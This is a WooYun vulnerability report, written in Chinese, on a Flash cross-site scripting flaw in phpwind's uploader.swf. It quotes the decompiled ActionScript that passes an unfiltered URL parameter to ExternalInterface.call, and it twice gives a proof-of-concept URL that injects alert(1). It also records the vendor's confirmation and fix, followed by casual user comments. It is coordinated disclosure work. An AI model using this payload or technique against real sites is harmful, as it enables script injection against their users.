当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017728

漏洞标题:phpwind下flash xss 0day

相关厂商:phpwind

漏洞作者: 只抽红梅

提交时间:2013-01-23 12:43

修复时间:2013-03-09 12:44

公开时间:2013-03-09 12:44

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-23: 细节已通知厂商并且等待厂商处理中
2013-01-25: 厂商已经确认,细节仅向厂商公开
2013-01-28: 细节向第三方安全合作伙伴开放
2013-03-21: 细节向核心白帽子及相关领域专家公开
2013-03-31: 细节向普通白帽子公开
2013-04-10: 细节向实习白帽子公开
2013-03-09: 细节向公众公开

简要描述:

最近好多大牛在提交flash相关的漏洞,我也来凑个热闹。
PHPWIND最新的版本使用的一处flash文件存在xss漏洞,pz牛和瘦子牛科普这么多,我就直接上报漏洞吧。

详细说明:

1、文件位置 http://www.phpwind.net/res/images/uploader.swf
2、通过对swf文件反编译得到as代码,查找“ExternalInterface.call”关键函数,在代码中多出使用了这个函数,比如:

ExternalInterface.call((this.jsobject + ".initflash"));


3、追溯this.jsobject变量,有如下代码:

this.jsobject = this.loaderInfo.parameters["jsobject"];


直接通过loaderInfo.parameters中取,没有进行任何过滤或者检查。
4、直接构造poc
http://www.phpwind.net/res/images/uploader.swf?jsobject=alert(1))}catch(e){}//

漏洞证明:

http://www.phpwind.net/res/images/uploader.swf?jsobject=alert(1))}catch(e){}//

phpwind.png

修复方案:

根据实际情况来过滤掉特殊字符,或者只允许参数中包含字母数字等

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-25 13:58

厂商回复:

感谢您对phpwind的关注,漏洞已修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-23 12:44 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    文艺青年只抽红梅

  2. 2013-01-23 12:45 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser 那我肯定不文艺咯

  3. 2013-01-23 13:55 | 心伤的胖子 ( 普通白帽子 | Rank:308 漏洞数:29 | 因为心伤,所以胖子。)

    红梅是什么?抽是什么含义?

  4. 2013-01-23 14:41 | 小色 ( 路人 | Rank:0 漏洞数:1 | 撸的一手好管)

    屌丝青年只抽白沙

  5. 2013-01-23 14:45 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    [红梅]是谁 -0-

  6. 2013-01-23 21:58 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @心伤的胖子 红梅香烟;常州的么?@只抽红梅

  7. 2013-01-26 21:39 | bluesky ( 路人 | Rank:9 漏洞数:2 | 天空那一端,他藏了一个梦)

    只抽大前门

  8. 2013-02-16 15:23 | 疯狂 ( 普通白帽子 | Rank:239 漏洞数:30 | 桃李春风一杯酒莲湖夜雨八年灯)

    和谐